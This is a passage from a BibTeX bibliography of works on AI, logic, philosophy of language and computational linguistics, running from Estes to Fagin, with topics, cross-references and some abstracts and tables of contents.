address = {Mahwah, New Jersey}, + topic = {learning;cognitive-psychology;} + } + +@book{ estes:1997a, + editor = {W.K. Estes}, + title = {Classifation and Cognition}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + ISBN = {0-19-510974-0 (paperback), 0-19-507335-5 (hardback)}, + topic = {cognitive-psychology;} + } + +@inproceedings{ estlin-mooney:1996a, + author = {Tara A. Estlin and Rymond J. Mooney}, + title = {Multi-Strategy Learning of Search Control for + Partial-Order Planning}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {843--848}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {planning;machine-learning;search;} + } + +@article{ etchemendy:1983a, + author = {John Etchemendy}, + title = {The Doctrine of Logic as Form}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {3}, + pages = {319--334}, + topic = {logical-form;philosophy-of-logic;} + } + +@article{ etchemendy:1988a, + author = {John Etchemendy}, + title = {Models, Semantics and Logical Truth}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {1}, + pages = {91--106}, + topic = {logical-consequence;} + } + +@book{ etchemendy:1990a, + author = {John Etchemendy}, + title = {The Concept of Logical Consequence}, + publisher = {Harvard University Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + xref = {Review: mcgee:2001a.}, + topic = {logical-consequence;Tarski;} + } + +@incollection{ etcheverry-dagorret:2001a, + author = {Patrick Etcheverry and Phillipe Lopist\'eguy and Pantxika + Dagorret}, + title = {Specifying Contexts for Coordination Patterns}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {437--440}, + address = {Berlin}, + topic = {context;cooperation;problem-solving;} + } + +@inproceedings{ etherington-reiter:1983a1, + author = {David Etherington and Raymond Reiter}, + title = {On Inheritance Hierarchies with Exceptions}, + booktitle = {Proceedings of the Third National Conference on + Artificial Intelligence}, + year = {1983}, + pages = {104--108}, + xref = {Republished in Ronald J. Brachman and Hector J. Levesque; + Readings in Knowledge Representation. See + etherington-reiter:1983a2. Also see etherington-reiter:1983a2.}, + topic = {kr;inheritance-theory;kr-course;} + } + +@incollection{ etherington-reiter:1983a2, + author = {David Etherington and Raymond Reiter}, + title = {On Inheritance Hierarchies with Exceptions}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {329--334}, + xref = {Originally published in AAAI-83. See etherington-reiter:1983a1.}, + topic = {kr;inheritance-theory;kr-course;} + } + +@incollection{ etherington-reiter:1983a3, + author = {David Etherington and Raymond Reiter}, + title = {On Inheritance Hierarchies with Exceptions}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {101--105}, + address = {Los Altos, California}, + xref = {Originally published in AAAI-83. See etherington-reiter:1983a1.}, + topic = {kr;inheritance-theory;kr-course;} + } + +@article{ etherington-etal:1985a1, + author = {David Etherington and R.E. Mercer and Raymond Reiter}, + title = {On the Adequacy of Predicate Circumscription for Closed + World Reasoning}, + journal = {Computational Intelligence}, + year = {1985}, + volume = {1}, + pages = {11--15}, + missinginfo = {A's 1st name, number}, + xref = {Republication: etherington-etal:1985a2.}, + topic = {circumscription;closed-world-reasoning;} + } + +@incollection{ etherington-etal:1985a2, + author = {David W. Etherington and Robert Mercer and and Raymond + Reiter}, + title = {On the Adequacy or Predicate Circumscription for + Closed-World Reasoning}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {174--178}, + address = {Los Altos, California}, + xref = {Original Publication: etherington-etal:1985a1.}, + topic = {circumscription;closed-world-reasoning;} + } + +@article{ etherington-etal:1985b1, + author = {David W. Etherington and Robert Mercer and and Raymond + Reiter}, + title = {On the Adequacy or Predicate Circumscription for + Closed-World Reasoning}, + journal = {Computational Intelligence}, + year = {1985}, + volume = {1}, + number = {1}, + pages = {11--15}, + topic = {circumscription;closed-world-reasoning;} + } + +@unpublished{ etherington-etal:1985c, + author = {David W. Etherington and Robert Mercer and and Raymond + Reiter}, + title = {On the Adequacy or Predicate Circumscription for + Closed-World Reasoning}, + year = {1985}, + note = {Unpublished manuscript, University of British Columbia.}, + missinginfo = {Year is a guess.}, + topic = {circumscription;closed-world-reasoning;} + } + +@article{ etherington:1987a, + author = {David Etherington}, + title = {Formalizing Nonmonotonic Reasoning Systems}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {1}, + pages = {41--85}, + topic = {kr;nonmonotonic-reasoning;kr-course;} + } + +@unpublished{ etherington:1987b, + author = {David Etherington}, + title = {More on Inheritance Hierarchies with Exceptions}, + year = {1987}, + note = {Unpublished manuscript, AT\&T Bell Laboratories.}, + topic = {inheritance-theory;} + } + +@book{ etherington:1988a, + author = {David W. Etherington}, + title = {Reasoning with Incomplete Information}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + year = {1988}, + topic = {nonmonotonic-logic;inheritance-theory;} + } + +@inproceedings{ etherington-etal:1989a, + author = {David W. Etherington and Alex Borgida and Ronald Brachman + and Henry Kautz}, + title = {Vivid Knowledge Bases and Tractable Reasoning: Preliminary + Report}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1146--1158}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {kr;vivid-reasoning;complexity-in-AI;taxonomic-logics; + tractable-logics;kr-course;} + } + +@incollection{ etherington-etal:1989b, + author = {David W. Etherington and Kenneth D. Forbus and Matthew + L. Ginsberg and David J. Israel and Vladimir Lifschitz}, + title = {Critical Issues in Nonmonotonic Reasoning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {500--504}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;kr-course;} + } + +@article{ etherington:1991a, + author = {David Etherington and Sarit Kraus and David Perlis}, + title = {Nonmonotonicity and the Scope of Reasoning}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {3}, + pages = {221--261}, + contentnote = {Surveys a number of foundational problems with NM + reasoning, eg the lottery paradox problems are typical of + these. Suggests that the source of these is that the scope + ie application of NM reasoning is generally limited, and + formalizes this by introducing scope explicitly into + a circumscriptive formalism. Proves various results about + this formalism.}, + topic = {kr;nonmonotonic-reasoning;kr-course;} + } + +@inproceedings{ etherington-crawford:1996a, + author = {David W. Etherington and James M. Crawford}, + title = {Toward Efficient Default Reasoning}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {627--632}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {default-logic;nonmonotonic-reasoning;AI-algorithms; + consistency-checking;} + } + +@incollection{ etzion:1991a, + author = {Opher Etzion}, + title = {Handling Active Databases with Partial Inconsistencies}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {171--175}, + address = {Berlin}, + topic = {databases;paraconsistency;} + } + +@incollection{ etzioni:1989a, + author = {Oren Etzioni}, + title = {Tractable Decision-Analytic Control}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {114--125}, + address = {San Mateo, California}, + topic = {kr;kr-course;plan-evaluation;planning;decision-analysis;} + } + +@article{ etzioni:1991a, + author = {Oren Etzioni}, + title = {Embedding Decision-Analytic Control in a Learning + Architecture}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {129--160}, + topic = {decision-theoretic-planning;machine-learning;} + } + +@incollection{ etzioni-etal:1992a, + author = {Oren Etzioni and Steven Hanks and Denise Draper and Neal Lesh + and Mike Williamson}, + title = {An Approach to Planning with Incomplete Information}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {115--125}, + address = {San Mateo, California}, + topic = {kr;planning;decision-making-under-uncertainty;kr-course;} + } + +@article{ etzioni:1993a, + author = {Oren Etzioni}, + title = {A Structural Theory of Explanation-Based Learning}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {60}, + number = {1}, + pages = {93--139}, + topic = {explanation-based learning;machine-learning;} + } + +@article{ etzioni:1993b, + author = {Oren Etzioni}, + title = {Acquiring Search-Control Knowledge Via Static Analysis}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {2}, + pages = {255--301}, + acontentnote = {Abstract: + Explanation-based learning (EBL) is a widely-used technique for + acquiring search-control knowledge. Prieditis, van Harmelen, and + Bundy pointed to the similarity between partial evaluation (PE) + and EBL. However, EBL utilizes training examples whereas PE does + not. It is natural to inquire, therefore, whether PE can be + used to acquire search-control knowledge and, if so, at what + cost? This paper answers these questions by means of a case + study comparing PRODIGY/EBL, a state-of-the-art EBL system, and + STATIC, a PE-based analyzer of problem space definitions. When + tested in PRODIGY/EBL's benchmark problem spaces, STATIC + generated search-control knowledge that was up to three times as + effective as the knowledge learned by PRODIGY/EBL, and did so + from twenty-six to seventy-seven times faster. The paper + describes STATIC's algorithms, compares its performance to + PRODIGY/EBL's, noting when STATIC's superior performance will + scale up and when it will not. The paper concludes with several + lessons for the design of EBL systems, suggesting hybrid PE/EBL + systems as a promising direction for future research. } , + topic = {explanation-based-learning;procedural-control;} + } + +@incollection{ etzioni-etal:1994a, + author = {Oren Etzioni and Keith Golden and Daniel Weld}, + title = {Tractable Closed World Reasoning with Updates}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {178--189}, + address = {San Francisco, California}, + topic = {kr;closed-world-reasoning;belief-revision; + tractable-logics;kr-course;} + } + +@article{ etzioni-etal:1997a, + author = {Oren Etzioni and Keith Golden and Daniel S. Weld}, + title = {Sound and Efficient Closed-World Reasoning for Planning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {89}, + number = {1--2}, + pages = {113--148}, + acontentnote = {Abstract: + Closed-world inference-an essential component of many planning + algorithms-is the process of determining that a logical sentence + is false based on its absence from a knowledge base, or the + inability to derive it. We describe a novel method for + closed-world inference and update over the first-order theories + of action used by planning algorithms such as NONLIN, TWEAK, and + UCPOP. We show the method to be sound and efficient, but + incomplete. In our experiments, closed-world inference + consistently averaged about 2 milliseconds while updates + averaged approximately 1.2 milliseconds. Furthermore, we + demonstrate that incompleteness is nonproblematic in practice, + since our mechanism makes over 99% of the desired inferences. We + incorporated our method into the XII planner, which supports our + Internet Softbot (software robot). The technique cut the number + of actions executed by the Softbot by a factor of one hundred, + and resulted in a corresponding speedup to XII.}, + topic = {planning;circumscription;closed-world-reasoning;} + } + +@book{ evans_da:1985a, + author = {David A. Evans}, + title = {Situations and Speech Acts: Toward a Formal Semantics of + Discourse}, + publisher = {Garland Pubishing}, + year = {1985}, + address = {New York}, + topic = {speech-acts;discourse;} +} + +@inproceedings{ evans_eg:1997a, + author = {Edmund Grimley Evans}, + title = {Approximating Context-Free Grammars with a Finite-State + Calculus}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {452--459}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {context-free-grammars;finite-state-nlp;} + } + +@article{ evans_g:1973a1, + author = {Gareth Evans}, + title = {The Causal Theory of Names}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1973}, + volume = {47}, + note = {Supplementary Series.}, + pages = {187--208}, + xref = {Republication: evans_g:1973a2}, + topic = {reference;modal-logic;philosophy-of-language;proper-names;} + } + +@incollection{ evans_g:1973a2, + author = {Gareth Evans}, + title = {The Causal Theory of Names}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {609--655}, + address = {Cambridge, Massachusetts}, + xref = {Republication of evans_g:1973a1.}, + topic = {reference;modal-logic;philosophy-of-language;proper-names;} + } + +@incollection{ evans_g:1976a1, + author = {Gareth Evans}, + title = {Semantic Structure and Logical Form}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {199--221}, + address = {Oxford}, + xref = {Republication: evans_g:1976a2.}, + topic = {logical-form;foundations-of-semantics;} + } + +@incollection{ evans_g:1976a2, + author = {Gareth Evans}, + title = {Semantic Structure and Logical Form}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {233--256}, + address = {Cambridge, Massachusetts}, + xref = {Republication of evans_g:1976a1.}, + topic = {logical-form;foundations-of-semantics;} + } + +@book{ evans_g-mcdowell_jh:1976a, + editor = {Gareth Evans and John Mc{D}owell}, + title = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + address = {Oxford}, + ISBN = {0198245173}, + contentnote = {TC: + 1. Gareth Evans and John Mc{D}owell, "Introduction", pp. vii--xxii + 2. J.A. Foster, "Meaning and Truth Theory", pp. 1--32 + 3. Donald A. Davidson, "Reply to {F}oster", pp. 33--41 + 4. John Mc{D}owell, "Truth Conditions, Bivalence and + Verificationalism", pp. 42--66 + 5. Michael Dummett, "What is a Theory of + Meaning ({II})", pp. 67--137 + 6. Brian Loar, "Two Theories of Meaning", pp. 138--161 + 7. Christopher Peacocke, "Truth Definitions and Actual + Languages", pp. 162--188 + 8. Peter F. Strawson, "On Understanding the Structure of One's + Language", pp. 189---198 + 9. Gareth Evans, "Semantic Structure and Logical Form", pp. 199--221 + 10. Crispin Wright, "Language-Mastery and the Sorites + Paradox", pp. 223--247 + 11. Michael Woods, "Existence and Tense", pp. 248--262 + 12. Barry Taylor, "States of Affairs", pp. 263--284 + 13. David Wiggins, "The {\em De Re} `Must': A Note on the + Logical Form of Essentialist Claims", pp. 285--312 + 14. Christopher Peacocke, "An Appendix to {D}avid + {W}iggins' `Note'\,", pp. 313--324 + 15. Saul Kripke, "Is There a Problem about Substitutional + Quantification?", pp. 325--419 + } , + topic = {nl-semantics;philosophy-of-language;} + } + +@incollection{ evans_g-mcdowell_jh:1976b, + author = {Gareth Evans and John Mc{D}owell}, + title = {Introduction}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {vii--xxii}, + address = {Oxford}, + topic = {nl-semantics;philosophy-of-language;} + } + +@article{ evans_g:1978a1, + author = {Gareth Evans}, + title = {Can There Be Vague Objects?}, + journal = {Analysis}, + year = {1978}, + volume = {38}, + pages = {208}, + xref = {Republication: evans_g:1978a2.}, + topic = {vagueness;identity;} + } + +@incollection{ evans_g:1978a2, + author = {Gareth Evans}, + title = {Can There be Vague Objects?}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {317}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: evans_g:1978a1.}, + topic = {vagueness;identity;} + } + +@article{ evans_g:1980a, + author = {Gareth Evans}, + title = {Pronouns}, + journal = {Linguistic Inquiry}, + year = {1980}, + volume = {11}, + number = {2}, + pages = {337--362}, + topic = {anaphora;donkey-anaphora;} + } + +@incollection{ evans_g:1981a1, + author = {Gareth Evans}, + title = {Understanding Demonstratives}, + booktitle = {Meaning and Understanding}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Herman Parret and Jacques Bouveresse}, + address = {Berlin}, + missinginfo = {pages}, + xref = {Republication: evans_g:1981a2.}, + topic = {demonstratives;nl-semantics;indexicals;} + } + +@incollection{ evans_g:1981a2, + author = {Gareth Evans}, + title = {Understanding Demonstratives}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {717--744}, + address = {Cambridge, Massachusetts}, + xref = {Republication: evans_g:1981a2.}, + topic = {demonstratives;nl-semantics;indexicals;} + } + +@book{ evans_g:1983a, + author = {Gareth Evans}, + title = {Varieties of Reference}, + publisher = {Oxford University Press}, + year = {1983}, + address = {Oxford}, + topic = {reference;} + } + +@book{ evans_j-over:1996a, + author = {Jonathan St.B.T Evans and David E. Over}, + title = {Rationality and Reasoning}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + contentnote = {TC: + 1. Rationality in reasoning + 2. Personal goals, utility, and decision + 3. Relevance, rationality, and tacit processing + 4. Reasoning as decision making: the case of the + selection task + 5. Prior belief + 6. Deductive competence + 7. A dual process theory of thinking + }, + topic = {cognitive-psychology;decision-making; + rationality-and-cognition;} + } + +@incollection{ evans_n:1985a, + author = {Nick Evans}, + title = {A-{Q}uantifiers and Scope in {M}alayi}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {207--270}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;Australian-languages;} + } + +@inproceedings{ evans_r-gazdar:1989a, + author = {Roger Evans and Gerald Gazdar}, + title = {Inference in {DATR}}, + booktitle = {Proceedings, Fourth Meeting of the {E}uropean Chapter of + the {A}ssociation for {C}omputational {L}inguistics}, + year = {1989}, + pages = {66--71}, + organization = {{A}ssociation for {C}omputational {L}inguistics}, + missinginfo = {editor, publisher, address}, + topic = {computational-morphology;nml;} + } + +@techreport{ evans_r-gazdar:1990a, + author = {Roger Evans and Gerald Gazdar}, + title = {The {\sc datr} papers: February 1990}, + institution = {School of Cognitive and Computing Science, University of + Sussex}, + number = {CSRP 139}, + year = {1990}, + address = {Brighton, England}, + topic = {nm-ling;computational-morphpology;} + } + +@inproceedings{ evans_r-gazdar:1990b, + author = {Roger Evans and Gerald Gazdar}, + title = {The Semantics of {DATR}}, + booktitle = {Seventh Conference of + the {S}ociety for the {S}tudy of {A}rtificial {I}ntelligence and + the {S}imulation of {B}ehaviour}, + year = {1989}, + editor = {A. Cohn}, + pages = {79--87}, + organization = {{S}ociety for the {S}tudy of {A}rtificial {I}ntelligence and + the {S}imulation of {B}ehaviour}, + missinginfo = {publisher, address } , + topic = {computational-morphology;nml;} + } + +@article{ evans_r-gazdar:1996a, + author = {Roger Evans and Gerald Gazdar}, + title = {{DATR}: A Language for Lexical Knowledge Representation}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {2}, + pages = {167--216}, + topic = {computational-morphology;nml;DATR;} + } + +@unpublished{ evans_r-gazdar:1996b, + author = {Roger Evans and Gerald Gazdar and David Weir}, + title = {Encoding Lexicalized Tree Adjoining Grammars with a + Nonmonotonic Inheritance Hierarchy}, + year = {1996}, + note = {Unpublished manuscript, University of Sussex.}, + topic = {computational-lexicography;nm-ling;inheritance;} + } + +@inproceedings{ evans_r-weir:1998a, + author = {Roger Evans and David Weir}, + title = {A Structure-Sharing Parser for Lexicalized Grammars}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {372--378}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {parsing-algorithms;TAG-grammar;finite-state-nlp;} +} + +@book{ everaet-etal:1995a, + editor = {Martin Everaert and Erik-Jan {van der Linden} and Andr\'e + Schenk and Rob Schreuder}, + title = {Idioms: Structural and Psychological Perspectives}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Mahwah, New Jersey}, + topic = {cognitive-psychology;idioms;} + } + +@article{ everett_jo:1999a, + author = {John Otis Everett}, + title = {Topological Evidence of Teleology: Deriving Function + from Structure via Evidential Reasoning}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {149--202}, + topic = {qualitative-reasoning;thermodynamics;teleology;} + } + +@article{ everett_tj:2000a, + author = {Theodore J. Everett}, + title = {A Simple Logic for Comparisons and Vagueness}, + journal = {Synth\'ese}, + year = {2000}, + volume = {123}, + pages = {263--278}, + topic = {comparative-constructions;vagueness;} + } + +@techreport{ evett-etal:1990a, + author = {M. Evett and James Hendler and Lee Spector}, + title = {Parallel Knowledge Representation on the Connection Machine}, + institution = {Computer Science Department, University of Maryland}, + number = {CS--TR--2409}, + year = {1990}, + address = {College Park, Maryland}, + missinginfo = {A's 1st name, number}, + topic = {inheritance-theory;parallel-processing;} + } + +@article{ ewing:1963a, + author = {A.C. Ewing}, + title = {May Can-Statements Be Analysed Deterministically}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1963--64}, + volume = {64}, + pages = {157--176}, + topic = {ability;(in)determinism;freedom;} + } + +@book{ eysenck:1990a, + editor = {Michael W. Eysenck}, + title = {The {B}lackwell Dictionary of Cognitive Psychology}, + publisher = {Blackwell Reference}, + year = {1990}, + address = {Oxford}, + ISBN = {0631156828}, + topic = {cognitive-psychology;} + } + +@inproceedings{ ezeiza-etal:1998a, + author = {N. Ezeiza and I. Alegria and J.M. Arriola and R. Urizar + and I. Aduriz}, + title = {Combining Stochastic and Rule-Based Methods for + Disambiguation in Agglutinative Languages}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {379--384}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {lexical-disambiguation;} +} + +@article{ fagin:1982a, + author = {Ronald Fagin}, + title = {Horn Clauses and Database Dependencies}, + journal = {Journal of the {ACM}}, + year = {1982}, + volume = {4}, + pages = {952--985}, + missinginfo = {number}, + topic = {functional-dependencies;} + } + +@article{ fagin-etal:1983a, + author = {Ronald Fagin and Jeffrey D. Ullman and Moshe Y. Vardi}, + title = {On the Semantics of Updates in Databases}, + journal = {Journal of the Association of Computing Machinery}, + year = {1983}, + volume = {30}, + pages = {352--365}, + missinginfo = {number}, + topic = {database-update;} + } + +@techreport{ fagin-etal:1984a, + author = {Ronald Fagin and Joseph Y. Halpern and Moshe Y. Vardi}, + title = {A Model-Theoretic Analysis of Knowledge: Preliminary + Report}, + institution = {{IBM} Research Laboratory}, + year = {1984}, + address = {San Jose, California}, + missinginfo = {number}, + topic = {epistemic-logic;} + } + +@inproceedings{ fagin-etal:1984b, + author = {Ronald Fagin and Joseph Y. Halpern and Moshe Y. Vardi}, + title = {A Model Theoretic Analysis of Knowledge}, + booktitle = {Proceedings of the Twenty-Fifth Annual Symposium + on the Foundations of Computer Science}, + year = {1984}, + pages = {268--278}, + missinginfo = {organization, publisher, address}, + topic = {epistemic-logic;} + } + +@inproceedings{ fagin-etal:1985a, + author = {Ronald Fagin and Joseph Y. Halpern}, + title = {Belief, Awareness, and Limited Reasoning: Preliminary + Report}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {491--501}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {hyperintensionality;propositional-attitudes;} + } + +@inproceedings{ fagin-vardi:1986a, + author = {Ronald Fagin and Moshe Y. Vardi}, + title = {Knowledge and Implicit Knowledge in a Distributed + Environment: Preliminary Report}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {187--206}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {epistemic-logic;distributed-systems;} + } + +@article{ fagin-halpern:1987a, + author = {Ronald Fagin and Joseph Y. Halpern}, + title = {Belief, Awareness, and Limited Reasoning}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {34}, + number = {1}, + pages = {39--76}, + topic = {epistemic-logic;hyperintensionality;} + } + +@article{ fagin-halpern:1988a1, + author = {Ronald Fagin and Joseph Y. Halpern}, + title = {I'm {OK} if You're {OK}: On the notion of Trusting Communication}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {4}, + pages = {329--354}, + xref = {Republication: fagin-halpern:1988a2.}, + topic = {distributed-systems;communication-protocols;epistemic-logic;} + } + +@incollection{ fagin-halpern:1988a2, + author = {Ronald Fagin and Joseph Y. Halpern}, + title = {I'm {OK} if You're {OK}: On the notion of Trusting Communication}, + booktitle = {Philosophical Logic and Artificial Intelligence}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + editor = {Richmond H. Thomason}, + pages = {9--34}, + address = {Dordrecht}, + xref = {Republication of: fagin-halpern:1988a1.}, + topic = {distributed-systems;communication-protocols;epistemic-logic;} + } + +@inproceedings{ fagin-halpern:1988b, + author = {Ronald Fagin and Joseph Y. Halpern}, + title = {Reasoning about Knowledge and Probability}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {277--293}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {reasoning-about-knowledge;probabilistic-reasoning;} + } + +@techreport{ fagin-halpren:1988c, + author = {Ronald Fagin and Joseph Y. Halpern}, + title = {A Logic for Reasoning about Probability}, + institution = {{IBM} Research Laboratory}, + year = {1988}, + address = {San Jose, California}, + number = {RJ 6190}, + topic = {reasoning-about-knowledge;probabilistic-reasoning;} + } + +@article{ fagin-halpern:1989b, + author = {Ronald Fagin and Joseph Y. Halpern}, + title = {Reasoning about Knowledge and Probability}, + journal = {Journal of the {ACM}}, + year = {1989}, + volume = {41}, + number = {2}, + pages = {340--367}, + topic = {epistemic-logic;reasoning-about-knowledge; + probabilistic-reasoning;} + } + +@inproceedings{ fagin-etal:1990a, + author = {Ronald Fagin and Joseph Y. Halpern and Moshe Y. Vardi}, + title = {A Nonstandard Approach to the Logical Omniscience Problem}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {41--55}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {hyperintensionality;relevance-logic;} + } + +@article{ fagin-etal:1991a, + author = {Ronald Fagin and Joseph Y. Halpern and Moshe Y. Vardi}, + title = {A Model-Theoretic Analysis of Knowledge}, + journal = {Journal of the Association for Computing Machinery}, + year = {1991}, + volume = {38}, + number = {2}, + pages = {382--428}, + topic = {epistemic-logic;distributed-systems;} + } + +@incollection{ fagin-etal:1992a, + author = {Ronald Fagin and John Geanakopolos and Joseph Y. Halpern + and Moshe Y. Vardi}, + title = {The Expressive Power of the Hierarchical Approach to + Modeling Knowledge and Common Knowledge}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {229--244}, + address = {San Francisco}, + topic = {epistemic-logic;mutual-belief;} + } + +@article{ fagin-etal:1992b, + author = {Ronald Fagin and Joseph Y. Halpern and Moshe Y. Vardi}, + title = {What Can Machines Know? On the Properties of Knowledge in + Distributed Systems.}, + journal = {Journal of the Association for Computing Machinery}, + year = {1992}, + volume = {39}, + number = {2}, + pages = {328--37628}, + topic = {epistemic-logic;distributed-systems;} + } + +@article{ fagin-etal:1992c, + author = {Ronald Fagin and Joseph Y. Halpern and Moshe Y. Vardi}, + title = {What is an Inference Rule?}, + journal = {Journal of Symbolic Logic}, + year = {1992}, + volume = {57}, + number = {3}, + pages = {1018--1045}, + topic = {inference-rules;} + } + +@book{ fagin:1994a, + editor = {Ronald Fagin}, + title = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + year = {1994}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;} + } + +@techreport{ fagin-etal:1994a, + author = {Ronald Fagin and Joseph Y. Halpern and Yoram Moses and + Moshe Y. Vardi}, + title = {Knowledge-Based Programming}, + institution = {{IBM} Research Laboratory}, + number = {RJ 9711}, + year = {1994}, + address = {San Jose, California}, + topic = {epistemic-logic;agent-oriented-programming;} + } + +@article{ fagin-etal:1995a, + author = {Ronald 